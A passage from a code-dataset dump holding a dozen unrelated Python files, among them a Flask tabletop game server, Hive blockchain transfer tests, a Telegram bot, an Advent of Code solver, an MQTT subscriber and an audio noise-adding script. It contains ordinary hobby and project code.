0.8\n\nmetrics = ['pairwise', 'bcubed', 'nmi']\n\n# if `knn_graph_path` is not passed, it will build knn_graph automatically\ntest_data = dict(feat_path=feat_path,\n                 label_path=osp.join(prefix, 'labels',\n                                     '{}.meta'.format(test_name)),\n                 pred_confs=osp.join(gcnv_prefix, 'pred_confs',\n                                     '{}.npz'.format(ckpt_name)),\n                 k=knn,\n                 is_norm_feat=True,\n                 th_sim=th_sim,\n                 max_conn=max_conn,\n                 ignore_ratio=0.8)\n\n# model\nregressor = False\nnclass = 1 if regressor else 2\nmodel = dict(type='gcn_e',\n             kwargs=dict(feature_dim=gcnv_nhid,\n                         nhid=512,\n                         nclass=nclass,\n                         dropout=0.))\n\nbatch_size_per_gpu = 1\n\n# misc\nworkers_per_gpu = 1\n\nlog_level = 'INFO'\nlog_config = dict(interval=2000, hooks=[\n    dict(type='TextLoggerHook'),\n])\n","sub_path":"vegcn/configs/cfg_test_gcne_ms1m.py","file_name":"cfg_test_gcne_ms1m.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"354242017","text":"import os\nimport random\nimport string\nimport pymongo\nfrom flask import Flask, send_from_directory, request, jsonify, redirect\nfrom flask_socketio import SocketIO, send, emit, join_room, leave_room\nfrom flask_cors import CORS\n\napp = Flask(__name__, static_folder=\"frontend/build\")\nCORS(app)\nsocketio = SocketIO(app, cors_allowed_origins=\"*\")\n\nPLAYER_POSITIONS_KEY = 'playerPositions'\nBOARD_COLORS_KEY = 'boardColors'\nROOM_KEY = 'room'\n\ndb_client = pymongo.MongoClient('mongodb://localhost:27017/')\ndb = db_client['tabletop']\ndb_board_states = db['board_states']\n\n@socketio.on('join')\ndef on_join(data):\n    room = data[ROOM_KEY]\n    join_room(room)\n    board_state = db_board_states.find_one({ROOM_KEY: room})\n    emit(PLAYER_POSITIONS_KEY, board_state[PLAYER_POSITIONS_KEY], room=request.sid)\n    emit(BOARD_COLORS_KEY, board_state[BOARD_COLORS_KEY], room=request.sid)\n\n@socketio.on('updatePlayerPositions')\ndef update_player_positions(player_position_update):\n    room = player_position_update[ROOM_KEY]\n    db_board_states.update_one({ROOM_KEY: room}, { \"$set\": { PLAYER_POSITIONS_KEY: player_position_update[PLAYER_POSITIONS_KEY]} })\n    emit(PLAYER_POSITIONS_KEY, player_position_update[PLAYER_POSITIONS_KEY], room=room)\n\n@socketio.on('updateBoardColors')\ndef update_board_colors(board_colors_update):\n    room = board_colors_update[ROOM_KEY]\n    db_board_states.update_one({ROOM_KEY: room}, { \"$set\": { BOARD_COLORS_KEY: board_colors_update[BOARD_COLORS_KEY]} })\n    emit(BOARD_COLORS_KEY, board_colors_update[BOARD_COLORS_KEY], room=room)\n\n@app.route('/room', methods=['POST'])\ndef create_room():\n    room = ''.join(random.choices(string.ascii_lowercase + string.digits, k=20))\n    db_board_states.insert_one({ROOM_KEY: room, PLAYER_POSITIONS_KEY: {}, BOARD_COLORS_KEY: {}})\n    return jsonify({ROOM_KEY: room})\n\n\n@app.route('/', defaults={'path': ''})\n@app.route('/<path:path>')\ndef index(path):\n    if path != \"\" and os.path.exists(app.static_folder + '/' + path):\n        return send_from_directory(app.static_folder, path)\n    else:\n        return send_from_directory(app.static_folder, 'index.html')\n\nif __name__ == \"__main__\":\n    socketio.run(app, host=\"0.0.0.0\")","sub_path":"run_dev_server.py","file_name":"run_dev_server.py","file_ext":"py","file_size_in_byte":2176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"208983662","text":"import pytest\n\nimport test_tools as tt\nfrom hive_local_tools import run_for\nfrom hive_local_tools.constants import MAX_RECURRENT_TRANSFER_END_DATE\n\n\n@pytest.mark.parametrize(\"executions\", [\n    2,\n    3,\n    4,\n    730  # The maximum number of executions where the minimal time between recurrences is not less than 24h\n])\n@run_for(\"testnet\")\ndef test_exceed_date_limit_of_recurrent_transfers(node, executions):\n    \"\"\"\n    By default, the maximum recurrence time to execute all sent recurrent transfers is 2 years (730 days).\n    Due to bug described in https://gitlab.syncad.com/hive/hive/-/issues/456,\n    the maximum recurrence time to execute all sent recurrent transfers is divided by number of executions.\n    i.e.\n    For 2 executions:\n    (730 days * 24 hours) / 2 = 8760 hours (365 days)\n\n    If the maximum recurrence time is equal or greater than (730 days * 24 hours) / (executions number) then\n    the exception 'Cannot set a transfer that would last for longer than 730 days' is thrown.\n    \"\"\"\n    wallet = tt.Wallet(attach_to=node)\n\n    wallet.create_account(\"receiver\")\n    wallet.create_account(\"sender\",\n                          hives=tt.Asset.Test(100),\n                          vests=tt.Asset.Test(100))\n\n    with pytest.raises(tt.exceptions.CommunicationError) as exception:\n        wallet.api.recurrent_transfer(\"sender\",\n                                      \"receiver\",\n                                      tt.Asset.Test(0.001),\n                                      f\"recurrent transfer to receiver\",\n                                      MAX_RECURRENT_TRANSFER_END_DATE * 24 / executions,\n                                      executions)\n\n    expected_error_message = f\"Cannot set a transfer that would last for longer than \" \\\n                             f\"{MAX_RECURRENT_TRANSFER_END_DATE} days\"\n    assert expected_error_message in str(exception.value)\n\n\n@pytest.mark.parametrize(\"executions\", [2, 3, 4])\n@run_for(\"testnet\")\ndef test_last_execution_of_recurrent_transfer_close_to_date_limit(node, executions):\n    \"\"\"\n    In this test, we validate that recurrent transfers are executed when the recurrence parameter is\n    set to the maximum recurrent transfer time minus 1 hour.\n\n    For 2 executions:\n    ((730 days * 24 hours) / 2) - 1 = 8759 hours (364 days)\n\n    This is due to the issue https://gitlab.syncad.com/hive/hive/-/issues/456\n    \"\"\"\n    wallet = tt.Wallet(attach_to=node)\n\n    wallet.create_account(\"receiver\")\n    wallet.create_account(\"sender\",\n                          hives=tt.Asset.Test(100),\n                          vests=tt.Asset.Test(100))\n\n    # Validate that sender's balance is equal 100 Tests\n    assert node.api.condenser.get_accounts(['sender'])[0][\"balance\"] == '100.000 TESTS'\n    # Validate that receiver's balance is equal 0 Tests\n    assert node.api.condenser.get_accounts(['receiver'])[0][\"balance\"] == '0.000 TESTS'\n\n    wallet.api.recurrent_transfer(\"sender\",\n                                  \"receiver\",\n                                  tt.Asset.Test(10),\n                                  f\"recurrent transfer to receiver\",\n                                  (MAX_RECURRENT_TRANSFER_END_DATE * 24 / executions) - 1,\n                                  executions)\n\n    # Validate that sender's balance is equal 90 Tests\n    assert node.api.condenser.get_accounts(['sender'])[0][\"balance\"] == '90.000 TESTS'\n    # Validate that receiver's balance is equal 10 Tests\n    assert node.api.condenser.get_accounts(['receiver'])[0][\"balance\"] == '10.000 TESTS'\n","sub_path":"tests/functional/python_tests/datagen_tests/recurrent_transfer_tests/test_date_limit_of_the_recurrent_transfer.py","file_name":"test_date_limit_of_the_recurrent_transfer.py","file_ext":"py","file_size_in_byte":3531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"311968672","text":"import flask\nimport telebot\nimport conf\n\nWEBHOOK_URL_BASE = \"https://{}:{}\".format(conf.WEBHOOK_HOST, conf.WEBHOOK_PORT)\nWEBHOOK_URL_PATH = \"/{}/\".format(conf.TOKEN)\n\nbot = telebot.TeleBot(conf.TOKEN, threaded=False)\nbot.remove_webhook()\nbot.set_webhook(url=WEBHOOK_URL_BASE+WEBHOOK_URL_PATH)\nU = {'stars': 0}\n\napp = flask.Flask(__name__)\n\n@bot.message_handler(commands=['start', 'help'])\ndef send_welcome(message):\n\tbot.send_message(message.chat.id, \"Привет! Этот бот очень любит читать сообщения от умных людей, поэтому за каждое твоё слово он даёт тебе одну звёздочку!\")\n\tbot.send_message(message.chat.id, 'Если захочешь узнать, сколько у тебя всего звёздочек, набери /CountingStars')\n\n@bot.message_handler(commands=['CountingStars'])\ndef CountingStars(message):\n    bot.send_message(message.chat.id, 'Всего у тебя звёздочек - ' + str(U['stars']))\n    bot.send_message(message.chat.id, 'https://www.youtube.com/watch?v=hT_nvWreIhg')\n\n@bot.message_handler(func=lambda m: True) # этот обработчик реагирует на любое сообщение\ndef send_len(message):\n\tbot.send_message(message.chat.id, 'Умница! Количество звёздочек, которые ты получаешь за это сообщение - {}'.format(len(message.text.split(' '))))\n\tU['stars'] += len(message.text.split(' '))\n\n\n\n@app.route('/', methods=['GET', 'HEAD'])\ndef index():\n    return 'ok'\n\n@app.route(WEBHOOK_URL_PATH, methods=['POST'])\ndef webhook():\n    if flask.request.headers.get('content-type') == 'application/json':\n        json_string = flask.request.get_data().decode('utf-8')\n        update = telebot.types.Update.de_json(json_string)\n        bot.process_new_updates([update])\n        return ''\n    else:\n        flask.abort(403)\n\n\nif __name__ == '__main__':\n    bot.polling(none_stop=True)\n\n\nif __name__ == '__main__':\n    bot.polling(none_stop=True)\n","sub_path":"stars.py","file_name":"stars.py","file_ext":"py","file_size_in_byte":2050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"333073448","text":"# https://adventofcode.com/2020/day/8\n\n\nclass HandheldGameConsole:\n    def __init__(self, instructions):\n        if isinstance(instructions, str):\n            instructions = self.parse_input(instructions)\n        self.instructions = instructions\n        self.accumulator = 0\n        self.pointer = 0  # index of the next instruction to be executed\n        self.seen_pointers = {self.pointer}\n        self.has_halted = False\n        self.in_infinite_loop = False\n        self.operations = {\n            \"acc\": self.acc,\n            \"jmp\": self.jmp,\n            \"nop\": self.nop\n        }\n\n    @staticmethod\n    def parse_input(instruction_str):\n        instructions = []\n        for instruction in instruction_str.splitlines():\n            operation, value = instruction.split()\n            instructions.append((operation, int(value)))\n        return instructions\n\n    def acc(self, n):\n        self.accumulator += n\n        self.pointer += 1\n\n    def jmp(self, n):\n        self.pointer += n\n\n    def nop(self, n):\n        self.pointer += 1\n\n    def check_pointer(self):\n        \"\"\"Check if program has halted or if there is an infinite loop.\"\"\"\n        if self.pointer >= len(self.instructions):\n            self.has_halted = True\n        elif self.pointer in self.seen_pointers:\n            self.in_infinite_loop = True\n        else:\n            self.seen_pointers.add(self.pointer)\n\n    def step(self):\n        \"\"\"Execute only one operation.\"\"\"\n        operation, value = self.instructions[self.pointer]\n        self.operations[operation](value)\n        self.check_pointer()\n\n    def run(self):\n        \"\"\"Run the machine until it halts or an infinite loop is detected.\"\"\"\n        while not self.has_halted and not self.in_infinite_loop:\n            self.step()\n\n\ndef part_1(instructions):\n    game_console = HandheldGameConsole(instructions)\n    game_console.run()\n    return game_console.accumulator\n\n\ndef part_2(instructions):\n    instructions = HandheldGameConsole.parse_input(instructions)\n    for i, (operation, value) in enumerate(instructions):\n        if operation == \"jmp\":\n            modified = (\"nop\", value)\n        elif operation == \"nop\":\n            modified = (\"jmp\", value)\n        else:\n            continue\n        modified_instructions = instructions.copy()\n        modified_instructions[i] = modified\n        game_console = HandheldGameConsole(modified_instructions)\n        game_console.run()\n        if game_console.has_halted:\n            return game_console.accumulator\n\n\ntest_input = \"\"\"nop +0\nacc +1\njmp +4\nacc +3\njmp -3\nacc -99\nacc +1\njmp -4\nacc +6\n\"\"\"\nassert part_1(test_input) == 5\nassert part_2(test_input) == 8\n\nwith open(\"day_08_input.txt\") as file:\n    challenge_input = file.read()\nprint(part_1(challenge_input))  # 1262\nprint(part_2(challenge_input))  # 1643\n","sub_path":"2020/day_08.py","file_name":"day_08.py","file_ext":"py","file_size_in_byte":2798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"49555312","text":"from __future__ import print_function\n\nfrom core.player import Gamer\nfrom core.graph import GraphMapState\n\n\nclass Game(object):\n    def __init__(self, game_file):\n        self.graph_map = GraphMapState.init_from_textfile(game_file)\n        self.player = [Gamer(Gamer.Type.PLAYER, 2*len(self.graph_map.graph.nodes)),\n                       Gamer(Gamer.Type.ADVERSARY, 2*len(self.graph_map.graph.nodes))]\n        self.chance = 0\n        self.game_running = False\n\n    def set_players(self, players_info):\n        if players_info[0]['type'] == 1:\n            self.player = self.player[::-1]\n            self.chance = 1\n        self.player[0].set_name(players_info[0]['name'])\n        self.player[1].set_name(players_info[1]['name'])\n\n    def done(self):\n        return not self.game_running\n\n    def start_game(self):\n        self.game_running = True\n        self.player[self.chance].reset_timer()\n\n    def end_game(self):\n        self.game_running = False\n\n    def make_move(self, move):\n        edge, cost, done, error, time_left = self.player[self.chance].make_move(self.graph_map,\n                                                                                move)\n        if done:\n            self.end_game()\n        update = self.get_update(edge, cost, done, error)\n        self.switch_player()\n\n        return update, self.format_update(update, time_left)\n\n    def get_update(self, edge, cost, done, error):\n        update = dict()\n        update['edge'] = edge\n        if self.player[self.chance].type == Gamer.Type.PLAYER:\n            update['add_cost'] = cost\n        else:\n            update['new_cost'] = cost\n        update['done'] = done\n        update['error'] = error\n        update['position'] = self.graph_map.current_position\n        return update\n\n    def format_update(self, update, time_left):\n        if update['done']:\n            which = 0 if self.player[0].type == Gamer.Type.PLAYER else 1\n            return 'Game Done! \\n Player has a total cost: {}'.format(\n                self.player[which].player_cost)\n        if 'add_cost' in update:\n            if update['add_cost']:\n                ret = 'Player moved from {} to {} adding cost {}'.format(update['edge'][0],\n                                                                         update['edge'][1],\n                                                                         update['add_cost'])\n            else:\n                 ret = 'Player made an empty movement for edge {}, {}'.format(update['edge'][0],\n                                                                              update['edge'][1])\n        else:\n            if update['new_cost']:\n                ret = 'Adversary made edge {}, {} cost to {}'.format(update['edge'][0],\n                                                                     update['edge'][1],\n                                                                     update['new_cost'])\n            else:\n                ret = 'Adversary made an empty movement for edge {}, {}'.format(update['edge'][0],\n                                                                                update['edge'][1])\n\n        ret += '. Time left: {}'.format(time_left)\n        return ret\n\n    def full_state(self):\n        return {\n            'start_node': self.graph_map.start_node,\n            'end_node': self.graph_map.end_node,\n            'graph': self.graph_map.graph.adjacency_list\n        }\n\n    def switch_player(self):\n        self.player[self.chance].switch_player()\n        self.chance = (self.chance + 1) % 2\n        self.player[self.chance].reset_timer()\n","sub_path":"AdversarialShortestPath/AdversarialShortestPathGame2/core/game_state.py","file_name":"game_state.py","file_ext":"py","file_size_in_byte":3575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"625445085","text":"from mc_be.commons.models.models import PersistentMongoModel\nfrom dirty_models.fields import StringField, StringIdField, ModelField, BooleanField, IntegerField, BlobField, \\\n    DateTimeField, ArrayField\nfrom mc_be.commons.fields import ModelIdField\nfrom mc_be.blueprints.core.session.models import OrgIdModel\n\n\nclass AuditLogEntry(PersistentMongoModel):\n    # Log fields\n    message = StringField()\n    args = ArrayField(field_type=BlobField())\n    levelname = StringField()\n    levelno = IntegerField()\n    exc_info = BlobField()\n    timestamp = DateTimeField()\n    host = StringIdField()\n    remote_address = StringIdField()\n    name = StringField()\n    blueprint = StringField()\n    func_name = StringField()\n\n    # Session fields\n    user_id = ModelIdField()\n    api_id = ModelIdField()\n    service_id = ModelIdField()\n    username = StringField()\n    org_id = ModelIdField()\n    role = StringIdField()\n    auth_type = StringIdField()\n    token = StringIdField()\n    csrf_token = StringIdField()\n    impersonation = ModelField(model_class=OrgIdModel, doc=\"Original organization data\")\n    monetary_data_access = BooleanField()\n    created = DateTimeField()\n\n    # Request fields\n    using_service_id = ModelIdField()\n    using_contract_id = ModelIdField()\n\n    # Audit fields\n    original_data = BlobField()\n    modified_data = BlobField()\n    deleted_fields = BlobField()\n    resource = StringIdField()\n\n    def get_resource_id(self):\n        return 'audit_log_entry'\n","sub_path":"mc-pybe-release-smip-R4/mc_be/blueprints/core/audit_log/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"302848272","text":"#Hasan Ijaz\n\nfrom elections_2002 import*\nfrom matplotlib.pyplot import*\nLB=int(input(\"Please​ ​enter​ ​a​ ​lower​ ​bound​ ​for​ ​the​ ​threshold​ ​(barrage) : \"))\nUB=int(input(\"Please​ ​enter​ ​a​ ​lower​ ​bound​ ​for​ ​the​ ​threshold​ ​(barrage) : \"))\ndef D(x,z,i):\n    for index in range(len(partyNames)):\n        if z < countrywidePercentages[index]:\n            N[index]=voteNumbersOfParties[i][index]/(s[index]+1)\n        else:\n            N[index]=0\n    mx=max(N)\n    mxidx=N.index(mx)\n    s[mxidx]+=1\n\ndef computeSeats(L, party_index):\n    party_list = [0]*len(L)\n    for p_index in range(len(L)):\n        party_list[p_index] = L[p_index][party_index]\n    return party_list\n\ns=[0]*len(partyNames)\nN=[0]*len(partyNames)\ntotals=[0]*len(partyNames)\nl = [[0] * len(partyNames)] * (UB - LB + 1)\nthreshold=[0]*(UB-LB+1)\n\nfor z in range(LB,UB+1):\n    totals=[0]*len(partyNames)\n    for i in range(0,81):\n        s=[0]*len(partyNames)\n        for j in range(len(voteNumbersOfParties[i])):\n            N[j]=voteNumbersOfParties[i][j]\n        for x in range(0,districtDeputyNumbers[i]):\n            D(N,z,i)\n        for u in range(len(s)):\n            totals[u]+=s[u]\n    print(\"The​ ​result​ ​for​ ​threshold​\",z,\"is\", totals)\n    \n    l[z - LB] = totals\n#print(l)\nfor w in range(UB-LB +1):\n    threshold[w]=LB\n    LB+=1\n    \n#print(threshold)\n\nr=[0]*len(partyNames)\nfor row in r:\n    row = [0]*len(threshold)\n\nfor index in range(len(r)):\n    r[index] = computeSeats(l, index)\n\nfor index in range(len(r)):\n    plot(threshold, r[index], label=partyNames[index])\n\nlegend(loc='best')\nshow()\n\n\n\n","sub_path":"code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"508019828","text":"#Gorokhova Olena KNIT 16-A\n#вывести значение переменной х, обозначающее некоторую длину\n#в единицах р, заменить величиной этой же длины в метрах\nk = True\nwhile k:\n    from enum import Enum\n    class measure(Enum):\n        decimetre = 1\n        kilometre = 2\n        metre = 3\n        millimetre = 4\n        centimetre = 5\n    try:\n        x = float(input('length: '))\n        p = measure[input('measure: ')]\n        if p == measure.centimetre:\n            print(x*0.01, \"metre\")\n        elif p == measure.decimetre:\n            print(x*0.1, \"metre\")\n        elif p == measure.kilometre:\n            print(x*1000, \"metre\")\n        elif p == measure.millimetre:\n            print(x*0.001, \"metre\")\n        elif p == measure.metre:\n            print(x, \"metre\")\n        else:\n            print(\"введите правильные данные\")\n    except (ValueError, KeyError):\n        print('wrote value or key')\n    while True:\n        K = input(\"хотите продолжить? 1 - да, 2 - нет :\")\n        if K == \"1\":\n            break\n        elif K == \"2\":\n            flag = False\n            print(\"пока\\n\")\n\n\n\n","sub_path":"laba 1/laba 1 _12.py","file_name":"laba 1 _12.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"564668844","text":"from flask import Flask, render_template, url_for, request, redirect, jsonify\napp = Flask(__name__)\n\ncategories = [{'name': 'kategorija1', 'id': '1'},\n              {'name': 'kategorija2', 'id': '2'}]\n\nitems = [{'name': 'stavka1', 'id': '1', 'kat': 'kategorija1'},\n         {'name': 'stavka2', 'id': '2', 'kat': 'kategorija2'}]\n\nitemSample = {'name': 'stavka2', 'id': '2', 'kat': 'kategorija2',\n              'description': 'opis artikla'}\n\n\n@app.route('/')\n@app.route('/catalog/')\ndef showCatalog():\n    lastItems = [{'name': 'stavka1', 'id': '1', 'kat': 'kategorija1'},\n                 {'name': 'stavka2', 'id': '2', 'kat': 'kategorija2'}]\n    return render_template(\n        'catalog.html', categories=categories, lastItems=lastItems)\n\n\n@app.route('/catalog/<category>/items/')\ndef showCatalogItems(category):\n    return render_template(\n        'catalogItem.html', categories=categories, items=items)\n\n\n@app.route('/catalog/<category>/<item>/')\ndef showItem(category, item):\n    item = {'name': 'odabrani item',\n            'description': 'opis itema'}\n    return render_template('itemDescription.html',\n                           categories=categories, item=item)\n\n\n@app.route('/catalog/new/', methods=['GET', 'POST'])\ndef newItem():\n    if request.method == 'POST':\n        # dodaj item\n        return redirect(url_for('showCatalog'))\n    else:\n        return render_template('newItem.html', categories=categories)\n\n\n@app.route('/catalog/<item>/edit/', methods=['GET', 'POST'])\ndef editItem(item):\n    if request.method == 'POST':\n        # dodaj item\n        return redirect(url_for('showCatalog'))\n    else:\n        return render_template('itemEdit.html', categories=categories,\n                               item=itemSample)\n\n\n@app.route('/catalog/<item>/delete/', methods=['GET', 'POST'])\ndef deleteItem(item):\n    if request.method == 'POST':\n        # dodaj item\n        return redirect(url_for('showCatalog'))\n    else:\n        return render_template('itemDelete.html',\n                               item=itemSample, categories=categories)\n\n\nif __name__ == '__main__':\n    app.debug = True\n    app.run(host='0.0.0.0', port=5000)\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"119655190","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nimport paho.mqtt.client as mqtt\nimport json\nimport os\nimport tkinter as tk\nimport time\nimport socket\n\nfrom Module.DataBase_module import DataBaseAPI\n\n\nclass MQTT_sub:\n    def __init__(self, MQTT_addr, MQTT_us, MQTT_pwd, MQTT_t):\n        # inialisation\n        self.MQTT_ADDRESS = MQTT_addr\n        self.MQTT_USER = MQTT_us\n        self.MQTT_PASSWORD = MQTT_pwd\n        self.MQTT_TOPIC = MQTT_t\n\n        self.dataAPI = DataBaseAPI()\n        self.dataAPI.create_table()\n        self.dataAPI.export_to_csv()\n        \n        self.mqtt_client = mqtt.Client()\n\n        self.mqtt_client.username_pw_set(self.MQTT_USER, self.MQTT_PASSWORD)\n        self.mqtt_client.on_connect = self.on_connect\n        self.mqtt_client.on_message = self.on_message\n        self.mqtt_client.connected_flag = False\n        self.mqtt_client.bad_connected_flag = False\n\n    def on_connect(self, client, userdata, flags, rc):\n        \"\"\" The callback for when the client receives a CONNACK response from the server.\"\"\"\n        if rc==0:\n            client.connected_flag=True #set flag\n            print(\"connected OK\")\n            client.subscribe(self.MQTT_TOPIC)\n        else:\n            print(\"Bad connection Returned code=\",rc)\n            client.bad_connection_flag=True\n\n\n    def on_message(self, client, userdata, msg):\n        \"\"\"The callback for when a PUBLISH message is received from the server.\"\"\"\n        #print(msg.topic + ' ' + str(msg.payload))\n        msg_decode = str(msg.payload.decode(\"utf-8\", \"ignore\"))\n        print(\"data Received\", msg_decode)\n        print(\"Converting from Json to Object\")\n        msg_in = json.loads(msg_decode)  # decode json data\n        try:\n            self.dataAPI.insert_data(msg_in[\"device\"], msg_in[\"sensorType\"], msg_in[\"timestamp\"],\n                                 msg_in[\"temperature\"], msg_in[\"humidity\"], msg_in[\"mouvement\"], msg_in[\"luminosity\"])\n            self.dataAPI.update_csv(msg_in[\"sensorType\"])\n        except:\n            print(\"Failed to save data\")\n            client.connected_flag = False\n\n    def on_disconnect(self, client, userdata, rc=0):\n        print(\"DisConnected result code \"+str(rc))\n        client.loop_stop()\n\n    def connect_broker(self):\n        self.mqtt_client.connect(self.MQTT_ADDRESS, 1883)\n    \n    def reconnect_broker(self):\n        self.mqtt_client.loop_stop()\n        self.mqtt_client.disconnect()\n        self.mqtt_client.connect(self.MQTT_ADDRESS, 1883)\n\n    def get_connected_flag(self):\n        return self.mqtt_client.connected_flag\n\ndef get_host_addr(): \n    try: \n        host_name = socket.gethostname() \n        host_ip = socket.gethostbyname(host_name) \n        return host_ip\n    except: \n        print(\"Unable to get Hostname and IP\") ","sub_path":"Module/MQTT_module.py","file_name":"MQTT_module.py","file_ext":"py","file_size_in_byte":2762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"272952579","text":"# Copyright (c) 2018 Mycroft AI, Inc.\n#\n# This file is part of Mycroft Skills Manager\n# (see https://github.com/MatthewScholefield/mycroft-light).\n#\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements.  See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership.  The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License.  You may obtain a copy of the License at\n#\n#   http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied.  See the License for the\n# specific language governing permissions and limitations\n# under the License.\nfrom shutil import rmtree\n\nimport pytest\nfrom os.path import join, dirname, exists, abspath\n\nfrom msm import MycroftSkillsManager, AlreadyInstalled, AlreadyRemoved\nfrom msm.exceptions import SkillNotFound, MultipleSkillMatches\nfrom msm.skill_repo import SkillRepo\n\n\nclass TestMycroftSkillsManager(object):\n    def setup(self):\n        self.root = root = dirname(abspath(__file__))\n        self.msm = MycroftSkillsManager(\n            platform='default', skills_dir=join(root, 'test-skills'),\n            repo=SkillRepo(\n                join(root, 'repo-instance'), branch='test-repo',\n                url='https://github.com/mycroftai/mycroft-skills-manager'\n            ), versioned=True\n        )\n\n    def teardown(self):\n        if exists(self.msm.skills_dir):\n            rmtree(self.msm.skills_dir)\n        if exists(self.msm.repo.path):\n            rmtree(self.msm.repo.path)\n\n    def test_install(self):\n        \"\"\"Install by url or name\"\"\"\n        self.msm.install('skill-a')\n        with pytest.raises(AlreadyInstalled):\n            self.msm.install('skill-a')\n        self.msm.install('skill-b')\n\n    def test_remove(self):\n        \"\"\"Remove by url or name\"\"\"\n        with pytest.raises(AlreadyRemoved):\n            self.msm.remove('skill-a')\n        self.msm.install('skill-a')\n        self.msm.remove('skill-a')\n\n    def test_update(self):\n        \"\"\"Update all downloaded skills\"\"\"\n        self.msm.install('skill-a')\n        self.msm.update()\n\n    def test_install_defaults(self):\n        \"\"\"Installs the default skills, updates all others\"\"\"\n        assert not self.msm.find_skill('skill-a').is_local\n        self.msm.install_defaults()\n        assert self.msm.find_skill('skill-a').is_local\n        assert not self.msm.find_skill('skill-b').is_local\n        self.msm.platform = 'platform-1'\n        self.msm.install_defaults()\n        assert self.msm.find_skill('skill-b').is_local\n\n    def test_list(self):\n        all_skills = {\n            'skill-a', 'skill-b', 'skill-cd', 'skill-ce'\n        }\n        assert {i.name for i in self.msm.list()} == all_skills\n\n    def test_find_skill(self):\n        with pytest.raises(MultipleSkillMatches):\n            self.msm.find_skill('skill-c')\n        with pytest.raises(SkillNotFound):\n            self.msm.find_skill('jsafpcq')\n","sub_path":"tests/test_mycroft_skills_manager.py","file_name":"test_mycroft_skills_manager.py","file_ext":"py","file_size_in_byte":3222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"404442609","text":"\n'Add noise at a specific DB level.'\n\n\nimport argparse\nimport beer\nimport io\nimport numpy as np\nimport os\nfrom scipy.io.wavfile import read, write\nfrom scipy.signal import butter, lfilter\nimport subprocess\n\n\ndef generate_white_noise(nsamples, srate, lowfreq, highfreq, filt_order=4):\n    if lowfreq <= 0 or highfreq >= srate / 2.:\n        raise ValueError('cut-off frequencies outside the range (0, Fs/2)')\n    noise_wideband = np.random.randn(nsamples)\n    freqs = (2. * lowfreq / srate, 2. * highfreq / srate)\n    B, A = butter(filt_order, freqs, btype='bandpass')\n    return lfilter(B, A, noise_wideband)\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=__doc__)\n    parser.add_argument('outdir', help='output directory')\n    parser.add_argument('scp', help='\"scp\" list')\n    parser.add_argument('--low-freq', type=int, default=100)\n    parser.add_argument('--high-freq', type=int, default=7500)\n    parser.add_argument('--srate', type=int, default=16000,\n                        help='expected sampling rate')\n    parser.add_argument('--noise-level', type=float, default=0.,\n                        help='noise level in db')\n    args = parser.parse_args()\n\n\n    with open(args.scp, 'r') as fid:\n        for line in fid:\n            tokens = line.strip().split()\n            uttid, inwav = tokens[0], ' '.join(tokens[1:])\n\n            # If 'inwav' ends up with the '|' symbol, 'inwav' is\n            # interpreted as a command otherwise we assume 'inwav' to\n            # be a path to a wav file.\n            if inwav[-1] == '|':\n                proc = subprocess.run(inwav[:-1], shell=True,\n                                      stdout=subprocess.PIPE)\n                sr, signal = read(io.BytesIO(proc.stdout))\n            else:\n                sr, signal = read(inwav)\n            assert sr == args.srate, 'Input file has different sampling rate.'\n\n            # Generate white noise sample (0 mean and 1 variance).\n            white_noise = generate_white_noise(len(signal), args.srate,\n                args.low_freq, args.high_freq)\n\n            # Measure the signal power.\n            p_signal = np.sum(signal ** 2)\n\n            # Measure the current noise power.\n            p_noise0 = np.sum(white_noise ** 2)\n\n            # Estimate the power of the noise to have the correct SNR.\n            p_noise = p_signal / 10 ** (args.noise_level / 10.)\n\n            # Scale the noise signal to have the requested power.\n            white_noise *= np.sqrt(p_noise / p_noise0)\n\n            # Save the corrupted signal.\n            write(os.path.join(args.outdir, uttid + '.wav'), args.srate,\n                  (white_noise + signal).astype(signal.dtype))\n\n\nif __name__ == '__main__':\n    main()\n\n","sub_path":"recipe/wsj/utils/add-noise.py","file_name":"add-noise.py","file_ext":"py","file_size_in_byte":2712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
